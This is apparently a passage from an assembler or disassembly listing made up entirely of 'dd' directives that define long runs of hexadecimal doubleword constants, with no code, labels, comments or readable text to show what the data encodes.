		dd 56F0394Bh, 653E163Eh, 8080C53Eh, 0C4DC25Fh, 4A00D336h
		dd 0DBCD30E7h, 0EC98CE0Eh, 0A0C70434h, 80A15D25h, 20E88B5Ch
		dd 1839E075h, 0F76100C2h, 0BBCF8DA7h, 0AB8A00F3h, 0E0A4FE0Ch
		dd 411D55FCh, 9D8052B5h, 0A77B2756h, 4844799Fh,	0D7026D2Fh
		dd 0C846908Bh, 0DCD45C40h, 80844E4Ch, 4F2CB5ABh, 0E89026h
		dd 7EC9C2E8h, 323B4BEDh
		dd 97590B13h, 0EFDFA800h, 1DD3928Bh, 0C05DC0F0h, 358330E9h
		dd 0AE077D82h, 294FDB67h, 0ABF43AA0h, 3DED00F5h, 0F7A4E8B0h
		dd 0AC69F004h, 34F8006Ah, 9895AED5h, 3B24E2D5h,	53865AFEh
		dd 502AC614h, 0CCE363Eh, 1057909Fh, 0EF0A01EAh,	316A8CCCh
		dd 0E93920C8h, 0AAA74A0Bh, 0A9B4803Dh, 0C2DC9ACh, 0CDA531F7h
		dd 390C4CD1h, 1135EEAFh, 3EAE000Fh, 749B7F5Dh, 6500EC23h
		dd 5BF21CD4h, 44F4E67h,	248E6B34h, 0B39CC0B0h, 0B52E7B2Ah
		dd 3833CE3h, 0D79970h, 2CDC4F70h, 0B320FD97h, 0C44D3500h
		dd 21FCE595h, 59A100B7h, 7C5B2830h, 4A249AFEh, 8C24FA45h
		dd 0E906C201h, 98F8E30Bh, 7B282456h, 0BE4A02C8h, 0E0422Eh
		dd 5B01E40Fh, 0E25966Fh, 0A0DBCE1Eh, 0F2ECADDh,	0DFE02A8h
		dd 0C2EE007Dh, 0D1EC97ABh, 6264070Fh, 9CB99F28h, 8F07A118h
		dd 0D2A0F033h, 0F0B737C5h, 437B03B1h, 73E2CE05h, 9ADAFD90h
		dd 3E93D400h, 0E6970201h, 0B33A000Ah, 4EFC05F8h, 5A187568h
		dd 0C1F880D1h, 0AC820065h, 43EFC0D7h, 102CB67Fh, 9005D81h
		dd 9C335CADh, 5106485Fh, 9BD56600h, 817E453Ah, 0EB155205h
		dd 0FC90294Dh, 2487B1A2h, 0BCD64Fh, 0C13B7454h,	2216BE62h
		dd 3800F998h, 8C4B84D1h, 42E6094Ch, 0A8A08576h,	1E1C1411h
		dd 223ADC03h, 3FC6EEDh,	65906130h, 5DF0EF2Bh, 88006912h
		dd 1D167D22h, 29AF50h, 4C719368h, 7C890C75h, 47A56500h
		dd 64C0EF78h, 7112CDBh,	94F70E99h, 514EEB80h, 0AB001A48h
		dd 5AE4C214h, 705FB92Dh, 0CB84803h, 0B7188300h,	0DE6595F9h
		dd 4711A600h, 1B0887A4h, 244C00C0h, 0B6D2FA69h,	0F00D472h
		dd 477E6249h, 5C3873Eh,	0D8A4799Dh, 56AC8015h, 0A600C601h
		dd 0D4EB212Dh, 13CEAAE5h, 0D3DC25h, 2CD97550h, 9C121D79h
		dd 1B0396FDh, 89B92E54h, 2FDCD0A4h, 3C580078h, 5069FEEAh
		dd 88007CCAh, 0BDDF6DAh, 1237459Eh, 0C0993C71h,	47B68658h
		dd 0B098E60Eh, 7C0F776Dh, 0DDCF2053h, 0EC372D2h, 8A056190h
		dd 0F2689121h, 0F464203Eh, 0BA78E000h, 252C9242h, 26EA16EBh
		dd 0BC860C7Eh, 2A24A72Ah, 0D181D001h, 19518DADh, 2FF2882h
		dd 4460C016h, 9014C0Fh,	7A44D3Dh, 0E9C4F42Bh, 0EA771E96h
		dd 0AEFA00D7h, 21D90139h, 0CC6C7D1Eh, 94A0B3C0h, 95668DF3h
		dd 0D40072D0h, 0D342C179h, 0B8A832DBh, 44A94CB8h, 0BEC0077h
		dd 8CD71E6Ch, 0EB012404h, 0A028B48Bh, 5DC0C567h, 0AF5A0090h
		dd 7E1D5CB8h, 0D0EB4686h, 99002C24h, 7C572070h,	0A1BD97AEh
		dd 242804F8h, 1E239084h, 0CE00D564h, 0B9EAF6B0h, 1DE50041h
		dd 0C71AD079h, 47589BBBh, 0F4A60040h, 575DB5D9h, 1BF703C2h
		dd 0B91EDFC4h, 86300DFh, 6400710Eh, 8D4AC3B2h, 0BFC075h
		dd 7C77496Ch, 4D079252h, 535E7D05h, 0CA84DBF9h,	6F8FAA00h
		dd 48DEFD77h, 0C9005C01h, 47246390h, 0FFF2E64Eh, 0D7E2F103h
		dd 0B27096EBh, 0FC5804h, 6770D54h, 31B057CAh, 3B007EFEh
		dd 723FC779h, 284F24C9h, 0A829BDh, 939BE54Eh, 0A09D0432h
		dd 0FCA450Ch, 52E704Bh,	886A2290h, 0F19CC14Dh, 0EA9DE43Ch
		dd 65C8E600h, 5BA3EEDh,	304A60F7h, 0E4C4FCC1h, 406C9C01h
		dd 41E817D0h, 8EF66980h, 473C8ABFh, 353B2701h, 59FF2610h
		dd 2E702D8h, 0D70304E4h, 0A4E0DA1Fh, 8C7BAC55h,	808A933Fh
		dd 8429CD5Ah, 0EDC635Eh, 9AEAF756h, 33BA6E21h, 2F18702Eh
		dd 1498F4A3h, 0AB034656h, 0F78AF9EDh, 7723E035h, 2C569009h
		dd 1E04FDAFh, 7C1980E8h, 0EF1FCFF4h, 5F711700h,	0A0B2493Dh
		dd 35CFA60h, 0EAAAD497h, 47D96E74h, 1C72A5h, 704F2240h
		dd 0E1BDD1D8h, 72ACD70h, 8745C549h, 81DA3312h, 9DD06800h
		dd 46AC6BD9h, 68DC14A5h, 13028892h, 18A0E304h, 8EC5BC80h
		dd 0D70021DAh, 887B9B96h, 70C6A8ADh, 912C00ACh,	0FAED137Dh
		dd 0A000F897h, 90689550h, 0B0A678ABh, 3D7FA2h, 0BD2C7C7Eh
		dd 92658B51h, 0B0FAE61Fh, 0DC36C200h, 8F9961h, 0FF515612h
		dd 4942681Fh, 0B30118EEh, 15286E6Fh, 12304A17h,	9662014Fh
		dd 9038C5E7h, 0EADF4251h, 6D7A8783h, 6346FF80h,	6E3D9574h
		dd 74840794h, 0DB00F371h, 75BC570Ah, 0BF540025h, 5F7CEBB5h
		dd 9D005B6Fh, 0D509DE48h, 1020E5h, 0D977C999h, 0BA866AE8h
		dd 0A239667Ch, 94A80F7Dh, 61F8A0BEh, 7ECFA01h, 0D2704D49h
		dd 557E200Bh, 0A13C42CCh, 1F600F44h, 9B6C2339h,	0FBCC0F3h
		dd 29EF040Dh, 0C09F6372h, 255811B5h, 0F180626h,	0A3E0B406h
		dd 6BB20028h, 0ED1C4BB7h, 0DD00C89Ch, 4066A1C3h, 30F82ACCh
		dd 0BF11B6FDh, 0F40FB486h, 406C4AC9h, 4563962Dh, 0F75401C2h
		dd 37DE34F6h, 0E429D008h, 0BC28DF03h, 0A87F84B8h, 0FC11BF9h
		dd 38F220Eh, 1D2AE8C0h,	0B8FAD4F4h, 0CC1AF4Ch, 92945658h
		dd 4A3700FBh, 453FDB81h, 0E903DFF7h, 0E8844729h, 0BE10005Ch
		dd 4F09F6DCh, 650042F4h, 27ED6473h, 1D4BAB59h, 80466BBCh
		dd 26491187h, 900D0A8h,	21B239C9h, 0A68F58h, 0ADE7F964h
		dd 5301DC4Ch, 2F1DF673h, 30401CE0h, 5F51ACABh, 83310096h
		dd 0EECFD499h, 0C38E85Bh, 0EC3080D1h, 5D236F2h,	0E22F43Ah
		dd 0A4652A10h, 77E08E6Fh, 86B6740Bh, 1D1B951Ch,	11420CEh
		dd 0DD9B90D8h, 185A9440h, 0DE7DDFh, 7FE74A71h, 518E8868h
		dd 0C5DC0300h, 0E34E0DADh, 46D400BEh, 0A03E1FA4h, 8C3C749Dh
		dd 903D8FD5h, 3C26403Ah, 8EC458h, 6212A8AFh, 0C241E7B9h
		dd 2AF3E800h, 0EE849DECh, 28D500BEh, 0D2BB39B3h, 2B308C83h
		dd 30688CBFh, 53F0F64h,	66A0B817h, 1D12C56Dh, 621FF2F6h
		dd 0AC02050h, 47087803h, 0C64F0041h, 37AAB8C0h,	9503DBCEh
		dd 71D57B76h, 650CA84Bh, 0C19B1508h, 8200F894h,	27B98A99h
		dd 63003F74h, 5B153057h, 0D25A13h, 352E2534h, 18B4029Bh
		dd 0BD8D9F00h, 3FB50D8Fh, 1D8ECB8h, 335FF5C9h, 0CC9FEA5Dh
		dd 110E946Ch, 0A08499F9h, 180B6D7Eh, 0FC40FB8Ch, 980F955Eh
		dd 0BF580394h, 980D01CAh, 5B0754D8h, 2B1D5492h,	0C29CEB27h
		dd 0DD788003h, 1CB0D3F7h, 75D5B0h, 0BAA8356Eh, 6F0184D6h
		dd 0A522E534h, 0E0A807B7h, 54520010h, 3AB2A93Fh, 0AB009A50h
		dd 0B76259D4h, 0E6CE2D5h, 0B054FC30h, 89E239EEh, 2BE07525h
		dd 5C28AD7Eh, 0C77FD687h, 280F51E4h, 41E96BA8h,	0E2B23037h
		dd 46A030h, 0ACA3F1C9h,	0E229FF7h, 0F402BEE8h, 0A5BD382Dh
		dd 0D7684241h, 44826960h, 6B004890h, 0CD2CA9C1h, 0A67EF6h
		dd 0B70930D2h, 38ACE2DDh, 7FE47D00h, 0CF8770AFh, 0EDB03D9h
		dd 10EDCC28h, 34F6AC0h,	0C5FFA700h, 6215F6C4h, 338FA192h
		dd 3A2160h, 17E0FDDFh, 0CAD85C7Ah, 0B1CB1503h, 0B029A090h
		dd 5D73FCh, 3A19C6CCh, 67917E64h, 88A8471Ch, 3EF16980h
		dd 3DAA4F9h, 404D6196h,	5B8EA71h, 0CC0FD86Ch, 0DEB8F76Bh
		dd 4E0AC1C0h, 95206F19h, 28910F50h, 36A3E800h, 12BC76h
		dd 6BE6803Ah, 66B5DE93h, 403249h, 0A082BA3Dh, 70F06946h
		dd 451E1F2Ah, 6B420E5Dh, 6E3AC5A1h, 4C28300Bh, 7F8D4607h
		dd 87811126h, 9BE4D374h, 84DB00F2h, 0DE4520CDh,	0D60BC0F8h
		dd 0B09904h, 53892235h,	6F7717A3h, 2F46C0A0h, 0A7F63936h
		dd 7AA27300h, 0E2195B24h, 7CB4030Ah, 4C46B53Fh,	0AF4ADCA0h
		dd 0A2E4B200h, 0DAD51BC9h, 0E5160099h, 0B06736E0h, 3F282139h
		dd 354CB808h, 6EAC0027h, 0B83BA65Eh, 2B8A00BBh,	1F6BECF0h
		dd 7501C351h, 6354AFA2h
		dd 1AF84958h, 6EA000F6h, 4F0BAE79h, 6400CE56h, 0C365B1D7h
		dd 60A9D5Ah, 8A498909h,	3B026837h, 5E3E3CC0h, 0DF97C143h
		dd 5D31880h, 861E8E5Ch,	640C29C0h, 1FFED73Dh, 0BAE49423h
		dd 5818900Ch, 167CE120h, 0B375F81Ch, 6097B6CFh,	59BEA746h
		dd 1021F17Eh, 0FABC609Eh, 0B7D3E160h, 0BA18AB71h, 0EA799D7Ch
		dd 0B1CF12CEh, 215319A3h, 5D03E0D5h, 383D8530h,	0A3238937h
		dd 0DCF3904Ch, 4B733AD9h, 6605D002h, 1087608Eh,	1C5A5Eh
		dd 0DBAB89B3h, 0E7003311h, 71750831h, 0B80799E8h, 0B54012C3h
		dd 63C507FCh, 0C5E9304Ah, 0A1008209h, 0A61EAFE8h, 4877BA51h
		dd 0DC0067DAh, 19E50B0Eh, 0A700B8CBh, 7496C47Ch, 0F61AD62Dh
		dd 0F5980B03h, 4480AA20h, 91B5697Bh, 0A6BCF400h, 0A0497128h
		dd 0E187022Dh, 3C52D008h, 8A178CA0h, 0C203241Eh, 0BA8B418Ch
		dd 110830FCh, 1E620521h, 201F9590h, 61460FE4h, 0F18F04h
		dd 0A95FECD4h, 0A65D947Ah, 0F3F1B200h, 9752933Eh, 7174E4h
		dd 1C87A7D5h, 318FA82Dh, 9173006h, 3E18D9AEh, 0DFA69C1Bh
		dd 9C224Ah, 29B641BBh, 289E885Ah, 471C2E00h, 0D586E1C6h
		dd 3799C0D8h, 5FCD2D96h, 0A8113C60h, 72D14BC7h,	43A607B1h
		dd 46ABA189h, 239860A7h, 7EA9C3A0h, 0C3921600h,	40750F8Bh
		dd 8634925h, 0EE612B16h, 55B09918h, 2FF64024h, 0FBD29910h
		dd 8CC7A040h, 3F1E8B04h, 2862B4C2h, 639823h, 27F38E20h
		dd 2F095D0Ah, 0A3927914h, 12106328h, 0C4780038h, 9CDA4648h
		dd 0B7017Bh, 0A7B1506Ah, 14D60007h, 0C2ED08F9h,	1B002DD1h
		dd 0C976CAC4h, 0A79855h, 93666D8Eh, 0B7E208FDh,	0DB28F460h
		dd 635C896h, 51D88EACh,	61004130h, 0D2285A7Bh, 3F72DF0Ah
		dd 8580B65Bh, 60C3ED38h, 0C0006CFBh, 0D5BBF4DAh, 0CFF6D750h
		dd 0DC20BC10h, 0B7DB26E6h, 0F330D326h, 0CE359C00h, 0E05AD5A0h
		dd 1BB100AEh, 1E015556h, 76006838h, 0C2A2DFBDh,	7812F50Dh
		dd 570E0077h, 2D6D09DDh, 300058A5h, 73DAF3A6h, 380F528Eh
		dd 5A009CC8h, 42F80BB3h, 5BE2775Eh, 92FDB501h, 0D9B6DFBCh
		dd 54755080h, 0D26EF003h, 415D180Eh, 87ED803Ch,	605BBEDCh
		dd 50F5A868h, 10009091h, 153E54B9h, 553356h, 8560DC5Ah
		dd 884E49E8h, 32BDE600h, 203BB16Ch, 62BB0C25h, 0C42A119Ah
		dd 1C5140C3h, 91F0A796h, 1CD59EFh, 7493DB6Bh, 0C84E3814h
		dd 37766E53h, 19BEB800h, 60114918h, 614A006Bh, 1667BBCEh
		dd 800E33F8h, 6D32B17h,	7C6918F1h, 0C4680E50h, 810C6674h
		dd 1400E919h, 0FB351C59h, 7BB13CCh, 92E4C08Dh, 8E1EE16Ah
		dd 69989112h, 3E98930Ch, 6C00A0F1h, 2692DAF2h, 0C334D715h
		dd 0F9779340h, 0A2614DA8h, 38FF0530h, 31B89B90h, 3C58F660h
		dd 275180C8h, 5B1D8D71h, 637900F1h, 8EBF68E6h, 5173F925h
		dd 0F88BA52h, 0C1849443h, 23C77319h, 9861FCh, 9586B171h
		dd 6A8C1430h, 52460901h, 0EFF81102h, 68FD6BECh,	0FC041051h
		dd 0FEF10618h, 7CB7D910h, 5DF9001Eh, 2E5546Bh, 87749289h
		dd 0BF06E900h, 0D60D3ECBh, 290364F6h, 0F4282157h, 4C111312h
		dd 217324F6h, 17121C7Dh, 89772610h, 44A8081Fh, 22848B2Eh
		dd 3B447E58h, 0AAA30090h, 30EEE812h, 893AB5CEh,	0C277804Ch
		dd 8EFDB6C8h, 0EC655ADBh, 27BB0094h, 0A347BAC4h, 0CB230088h
		dd 9EB20D6Eh, 4A009734h, 3838F5Ah, 603378h, 0E5BCB8C7h
		dd 6C0F7018h, 642EAD00h, 55D51A3Ah, 1C129837h, 307DE33h
		dd 6EBB15C4h, 0E345C0C4h, 0DD05FA13h, 0FDE5C190h, 0A169B840h
		dd 435D4Ch, 52F07FD1h, 903665CFh, 3C67D1Ch, 0F34CD280h
		dd 3B93019h, 5E3298FAh,	4000FB24h, 237BA0EEh, 0ECDEA9h
		dd 4741B176h, 0CD1D0B2Ah, 0D87C3C1Dh, 86C3F400h, 0CE8999h
		dd 88F3BD66h, 172F8063h, 0A730A900h, 20C29339h,	3CF02Bh
		dd 27248F16h, 6403B537h, 67A58703h, 0C8EAE677h,	6053F1h
		dd 0D9828ADCh, 0AF763795h, 3403D37Bh, 293A59BCh, 360888E4h
		dd 0CEC44CB5h, 4A68F00h, 55751F1Ah, 0B3845800h,	8CB89329h
		dd 0EA05009Fh, 3A302A48h, 2C70A8EDh, 7AF98403h,	909C7EE0h
		dd 0E7BC5F5h, 0DBBD5E3h, 2A6FA2C0h, 6B07DE99h, 0F2A3AF79h
		dd 0B458F8A0h, 0EA70017h, 5269E00Ch, 1F00E79Ch,	21612382h
		dd 19DE08h, 46531533h, 0EE9E7A9Dh, 1C000275h, 0B085E4B8h
		dd 1429CB60h, 0F488C2EFh, 300B5700h, 19D621D9h,	0E9642712h
		dd 56169400h, 0C16E8Bh,	37C40ADDh, 0E750997Eh, 7C22F100h
		dd 0DF74E45Fh, 6891F80h, 880380F2h, 1CCF950Fh, 0A44F600h
		dd 0D0BAD3CDh, 0A4860097h, 0D25C3330h, 0CA006550h, 0EC4681D4h
		dd 2DCA7FEh, 671377Ch, 7FE0C8C6h, 0BF1F8822h, 1E822C55h
		dd 0C0966091h, 0F598C95h, 0CB36328Dh, 20B092Bh,	0A2F03F03h
		dd 5A5068D0h, 25155702h, 425D0DB4h, 0AF01FF38h,	204067DBh
		dd 0BD2EE238h, 0AB01DA33h, 2FC095E6h, 0C85C43C6h, 1FA193h
		dd 5C06C2A8h, 693FF8AEh, 0EEA4240Ah, 0E301DCCDh, 540821Bh
		dd 0FE767020h, 98E430h,	0A038ABD1h, 3E063513h, 68A3CC0Fh
		dd 0F70EDF55h, 3800322Eh, 0D02D0D66h, 0DB780585h, 0C0AACAF0h
		dd 75997747h, 8A3C3203h, 1879A44h, 16BCBA20h, 0F8852F10h
		dd 433CB5E1h, 0ABD580AFh, 994F2770h, 0D4A100CAh, 5204F77Ah
		dd 0B200CF66h, 0C2E40FEDh, 0DFCE982Fh, 2C40C0B8h, 39F90C2Bh
		dd 0F2A68100h, 0D6158F22h, 0CD2300C8h, 56931371h, 0CC073361h
		dd 89A42ED9h, 820C790h,	908B0388h, 0D34C5648h, 0F5B36490h
		dd 3D05A800h, 12E808D9h, 0E2CC2627h, 3E60014h, 0C71C15A9h
		dd 8D13D400h, 0F58F4953h, 89B700FCh, 0A19654F2h, 0B80F6C9h
		dd 18A20087h, 651B0573h, 401DFB12h, 0C380A1E6h,	48566A6Dh
		dd 0AD715Ch, 4AB1371Fh,	32384391h, 0FDD6C000h, 870A3CDFh
		dd 404519EAh, 3037BA29h, 0EF00C440h, 0A71D6342h, 393D24h
		dd 0B9311FE4h, 3F6FD238h, 61FBEA14h, 8350384h, 0F2CF5CE6h
		dd 0EFECA06Ch, 533FAC5h, 91117B63h, 0F8BBC05Ah,	6800DB34h
		dd 929DE30Eh, 0F7B414Fh, 3573360Fh, 94802DC9h, 5EB14ABFh
		dd 1C507800h, 4F2822A2h, 55E6001Ah, 6AF4F7F6h, 0CE027279h
		dd 9E406B48h, 0C3A86092h, 128D3A27h, 4A2B5B80h,	469D824Fh
		dd 7F24390Bh, 56785E7h,	856917C0h, 0BBEC0070h, 5D1AC65Bh
		dd 231C3DF7h, 2E40A9DAh, 0A08C59D2h, 9380F3Bh, 9BC390BBh
		dd 4AA05006h, 0A900DDA6h, 8710AFD9h, 0EF90C27Eh, 28AD32D4h
		dd 3FBE478h, 6564D79Dh,	0A49937C1h, 567A703Fh, 252F324h
		dd 0BBE58039h, 7C74D611h, 785502F7h, 9C831806h,	8DE0BC4Bh
		dd 0BA3BDC25h, 7D6E012Dh, 1FA33187h, 19BBAB70h,	71C5E835h
		dd 0F21060A5h, 44776C06h, 19F6DAh, 48C721DBh, 692F853Ah
		dd 940724h, 9E410400h, 8412C1h,	0EBD1B45h, 3BBB906Dh, 294F6500h
		dd 2593797Ch, 92D300FBh, 0C9B7A7FDh, 30E527BAh,	790035CBh
		dd 0BC9942EBh, 0F4B9FDF1h, 15E7F98h, 7157ADEEh,	0E0D7689Bh
		dd 8F48901Fh, 0C9FF0058h, 59E32A2Bh, 0FB6426DFh, 7E31043Ch
		dd 55DC811Bh, 0F840D65Eh, 0D100193Fh, 75201797h, 0E9AA2A1h
		dd 8C3E04B1h, 30825146h, 0F3A37400h, 30B3F865h,	0E5E022h
		dd 0CFE32715h, 0C15B34DCh, 182E1E70h, 90770051h, 2C1FB0FFh
		dd 9D70674h, 0F192578Bh, 0D57A7224h, 23C521Ch, 0B04F3B31h
		dd 404DC256h, 0D5F6C6h,	0AD4ADC4h, 2DCCF2DBh, 53940807h
		dd 9E10ECE2h
		dd 99ED18h, 2DDACC0h, 0C126E47h, 53264B00h, 0BF0A70F9h
		dd 0FB0F58C9h, 1A41713h, 7A067B78h, 9AE0EBCFh, 0BEC0F1A5h
		dd 94A82B09h, 0CA370019h, 32FF39F2h, 825CDE49h,	27961EA7h
		dd 0C0C00A8Fh, 58B41435h, 7EE30F94h, 0CB60D295h, 0B6D107B0h
		dd 1C758E0Fh, 0ABF9873Ch, 69335B50h, 0A6E8F5h, 64223DC8h
		dd 0B49EEBB1h, 903B58h,	0BD0766C6h, 0F09AE23Eh,	5DCE00EAh
		dd 72065C7Fh, 0B4004F89h, 18F0AE04h, 75C97796h,	0D83D07F3h
		dd 0F0D4EC7Fh, 6D4321FAh, 95FB4102h, 14A2014h, 70EF79C0h
		dd 1E0EE19Ch, 0C0EEA9C9h, 118AD1FBh, 609B00E7h,	873D1D6Ah
		dd 7600BC53h, 0E2A54291h, 221BAB2h, 74F5C084h, 78C03BC1h
		dd 57EAFE0h, 596B9400h,	6A6FE72Fh, 624A0072h, 204FD77Dh
		dd 490255FAh, 0BBC2AF09h, 31B1408Ch, 5FB100DFh,	6C0D7A24h
		dd 93001ACBh, 3B3E6081h, 708C883h, 2B96B7FAh, 7DE870E9h
		dd 0A138CB75h, 6FCE00D6h, 0AF83162h, 0D2C91DEBh, 9766C080h
		dd 2282C3D9h, 8D47F400h, 0C4D03C2Eh, 4E9C0176h,	0E814817Fh
		dd 85D480B7h, 3A174416h, 7B0203C8h, 103BB6D8h, 0FCB3111Fh
		dd 2B24A8C0h, 48588851h, 0F41C4F66h, 83495F42h,	6A1C0141h
		dd 2B78F8A8h, 0F9C12916h, 5E10DC00h, 969FD9h, 0ACB225B3h
		dd 3835A730h, 0A002DF2h, 9CEF13A4h, 1F590B44h, 8F71DF82h
		dd 27E70E5Fh, 0A2C10F79h, 0F0922923h, 0B205E0A4h, 1541E30Bh
		dd 0E10FE305h, 58C268C0h, 594900Ch, 388FA37Fh, 174C8092h
		dd 0FB30F760h, 7F2311C3h, 97ED0051h, 2EDF8EF0h,	0C3E055Eh
		dd 3ED61D12h, 0D4484F80h, 246DCDDEh, 1ED80110h,	0E6670E2Dh
		dd 0B9276000h, 9D00033Eh, 4B9A2417h, 1CBB0A05h,	0FEDD77Eh
		dd 116566Eh, 1540D968h,	0F61DF876h, 80263Fh, 146875ECh
		dd 0F6C482D2h, 1877EA50h, 59AF6228h, 4507AAA9h,	0CB8C2E6Bh
		dd 9479D130h, 0B188C085h, 0A22DB37Eh, 2791FF1Dh, 0C2B211C3h
		dd 94D1DDC1h, 42DA4C5h,	4A2F17h, 98AAD554h, 497726F4h
		dd 9F1CC30Bh, 2B8000B9h, 995348h, 0AEA7EB03h, 0BB44EC47h
		dd 0D9596600h, 0BC0B084Bh, 5BF90062h, 0A4C9C81h, 380017B1h
		dd 1691A83Ah, 4C070h, 81BB4BD7h, 27445271h, 5D902800h
		dd 87511183h, 0CF3D03EFh, 8AC03B07h, 0D41E92B1h, 813B6312h
		dd 51B86082h, 5328D7Bh,	47B25DF2h, 7AEC80F1h, 681844B4h
		dd 7CB00411h, 0D6E400DAh, 5878C6EDh, 3F387582h,	4E5A52Fh
		dd 11121830h, 0A80088D7h, 0A3608DD1h, 4C00C822h, 8BEDA114h
		dd 2C2677E6h, 0F8C0859h, 81E0D544h, 0E95BB78Ah,	0DA00F971h
		dd 0F357EF86h, 2EB26h, 460DD576h, 19635A3h, 4E2E6300h
		dd 380AB3DAh, 0AD0E407h, 8B93F0C2h, 38268Ch, 0BB43E036h
		dd 0D71FB4C0h, 77007931h, 5263B8A4h, 4DDB0051h,	0DDE0FB0Bh
		dd 8B00F55Ah, 81CAC342h, 0F2C81134h, 0C2DA38C1h, 77792104h
		dd 2E76C0DBh, 52132551h, 0C5005C09h, 0E3C6D3D1h, 728B0534h
		dd 801C60EEh, 9403060h,	0CE88F200h, 69D5AB10h, 96EA2Bh
		dd 1D13A5A2h, 9B5836EEh, 5B8CC500h, 0E7AF64F4h,	1E280043h
		dd 903A0F60h, 0B70254BEh, 23AEBA29h, 0A88000A6h, 0D12EBC05h
		dd 580069C7h, 13312D92h, 832B0A08h, 808CDEh, 3F40E8FEh
		dd 0AE17DF10h, 6804EBE4h, 88065F6h, 3D67B3EEh, 930EABDh
		dd 0AC9BA730h, 0C579E8B0h, 891D1892h, 0BEC03F69h, 618FD910h
		dd 0F9C70F52h, 34A0844Eh, 0A6AD379Fh, 0BC745100h, 99878005h
		dd 5A2804A0h, 8315673Fh, 0D189C7FCh, 6DF7FCC2h,	4BA56E05h
		dd 0DC7F607h, 8D623CF1h, 0D9052839h, 80283044h,	0CB96D1A8h
		dd 820D373Dh, 7D36DF0Ch, 80B0A011h, 3842BA93h, 0BE00DE18h
		dd 60DB3965h, 5803B2E7h, 6AFE6DE6h, 0E86193D5h,	731497CEh
		dd 9813024Ah, 5D9E1B33h, 0DAE78CA0h, 0D354BE0Ah, 5727F0B0h
		dd 7F109928h, 3FF9C8h, 8E8D921Ch, 43EEB635h, 83CD7701h
		dd 59144438h, 0EC741C70h, 12CCB008h, 0A00C3Eh, 78F43AA4h
		dd 3700B779h, 2C764CBBh, 7735F156h, 0CD707Eh, 0C81C692Eh
		dd 11CFAD62h, 0CC92B77Bh, 588C2521h, 5C90FDDBh,	7F0060F4h
		dd 0D0EBE7BDh, 7BD71E73h, 9A21397h, 9D3CC053h, 36060B23h
		dd 0C941B1E4h, 33FE19AEh, 9CEF7016h, 7F40CCF8h,	0EEE7EBD9h
		dd 0EE498BDh, 9A47FD93h, 40CA5E1Fh, 88FC7BB8h, 0C0ED3EA9h
		dd 0A304BD42h, 6CE6F526h, 8BA56C80h, 1D4F008Ch,	722B2EB3h
		dd 4005A6Dh, 9D932824h,	2C4392h, 0C3155EFDh, 0F6B107DCh
		dd 0AE61CC1Ch, 8D004464h, 13C9BE4Ah, 0D18900D5h, 0D9836C1Bh
		dd 1500684Dh, 60EFA3CFh, 0ABE4285h, 135DA0DDh, 9A2000A8h
		dd 0BA24F68Fh, 9EE9C100h, 8730822Eh, 26CB0355h,	7AB1B7D4h
		dd 81E0A9C2h, 3B00DE98h, 1721DA3Ah, 0A82F3E48h,	78E646C0h
		dd 6DB1009Bh, 4F67EF1Ah, 0DC09E0E9h, 0CF281h, 702F84A5h
		dd 0E2160099h, 0BF987349h, 6C3EFFC5h, 0DD7B8053h, 0E7C0EAC4h
		dd 0A0941716h, 40800256h, 10785AF5h, 170B9C01h,	2B71B8D8h
		dd 2542420h, 4BFCD050h,	0F8C1CD5Fh, 0CF14ECC6h,	70358916h
		dd 232EBC43h, 0E525D038h, 9B4D035Ch, 52BFA726h,	0F01477D7h
		dd 0D188E0EDh, 1C805D01h, 0F53F2635h, 2E5AC370h, 9AD979h
		dd 2CA548D8h, 8F004125h, 907319D6h, 43ECB5Fh, 6A4A67A8h
		dd 0C684C068h, 0F101FAC0h, 8F62F047h, 945142E4h, 9822BD59h
		dd 0FE99097Eh, 0E00EEAh, 8900A2D2h, 0FF285530h,	1F270A25h
		dd 0CED9518Ah, 5A002D8Fh, 4A2C07A0h, 2E0C6717h,	0FBE812h
		dd 0D716BECAh, 750E1209h, 20450342h, 0CB52D030h, 743A0060h
		dd 6BDC34F8h, 0C800260Ah, 9BF57865h, 700969h, 86A2CAB3h
		dd 27715EF0h, 0F4C6D59h, 0E024EA84h, 86A137A9h,	22B700CDh
		dd 0E93F4B19h, 9201C53Eh, 0D46760ABh, 8874F6A5h, 99170076h
		dd 0A89315A3h, 4E4C7F6Eh, 736B1784h, 8C002E16h,	0C72016C1h
		dd 65D814E7h, 85018089h, 1D0CD6ACh, 70E0E477h, 0BBE0EE71h
		dd 6A2B3D07h, 7CC0E378h, 130DBAB0h, 34C126Dh, 6B462854h
		dd 20F8F084h, 0CA07E8F6h, 2FE75339h, 0E027E925h, 0A9B4202Bh
		dd 0E2E4780h, 6665CF76h, 6A00100Bh, 0EE053F08h,	72612A00h
		dd 6AA7E1EAh, 0D76D1FFBh, 62504071h, 0F19658B4h, 746EAD00h
		dd 2B39C210h, 0E38800EAh, 75C46B73h, 8C0F3D12h,	40DB48CCh
		dd 0DDC1F62Ch, 725600B0h, 0D399F42Eh, 68011EC9h, 0EBE81483h
		dd 0CECF2F7h, 4FC1907Fh, 7A43BCE1h, 0A5E65A00h,	39B49D68h
		dd 381A0C77h, 5D8E96Ch,	84B29500h, 0A18AA481h, 987E0557h
		dd 0E48DED5Ah, 68006070h, 69230542h, 5DA5FE06h,	0BA00043Bh
		dd 3AB8DD09h, 26017085h, 9CF1B768h, 184341EEh, 7110E8Fh
		dd 0D6606F19h, 51C1277Bh, 0D92B600h, 0F93A852Dh, 4771C0FAh
		dd 3943387Dh, 858185F5h, 0B4E01A30h, 26FF0798h,	41DFE64Dh
		dd 0BC043289h, 873E18h,	0F70FC76Bh, 4B7B3DE7h, 0DD1E0Ch
		dd 14DC0B90h, 6400A01Bh, 2E3D6EE8h, 0C70DFA85h,	9076A959h
		dd 0F9CF9CE5h, 490E8911h, 5C926860h, 0F8F37BFAh, 37157D9Dh
		dd 1050CE43h, 87880DD7h, 7402A410h, 0C51858E6h,	389C1080h
		dd 0F50FBAF9h, 0E008EE2Eh, 7BA20B01h, 9AEF0055h, 1119B8D9h
		dd 397C8D65h, 81A3E13Ah, 0E98EC1AFh, 4470FA1Fh,	0C5680064h
		dd 3F384DC6h, 47A6C1Ah,	5EF4F002h, 6074B2CBh, 0B16241h
		dd 0C9508CFAh, 1DDB3EBEh, 111B2207h, 15200FA2h,	75A931D5h
		dd 0AC0400C7h, 0D7A693BEh
		dd 37023C63h, 2DC8FBEAh, 0F85B4060h, 8FFA036Eh,	175ABEC1h
		dd 8002F83Eh, 68E0CD36h, 1D062F55h, 182E4D90h, 8E50211Fh
		dd 0E813CE00h, 7888FA08h, 7BDC00EFh, 47E261C0h,	76008ED8h
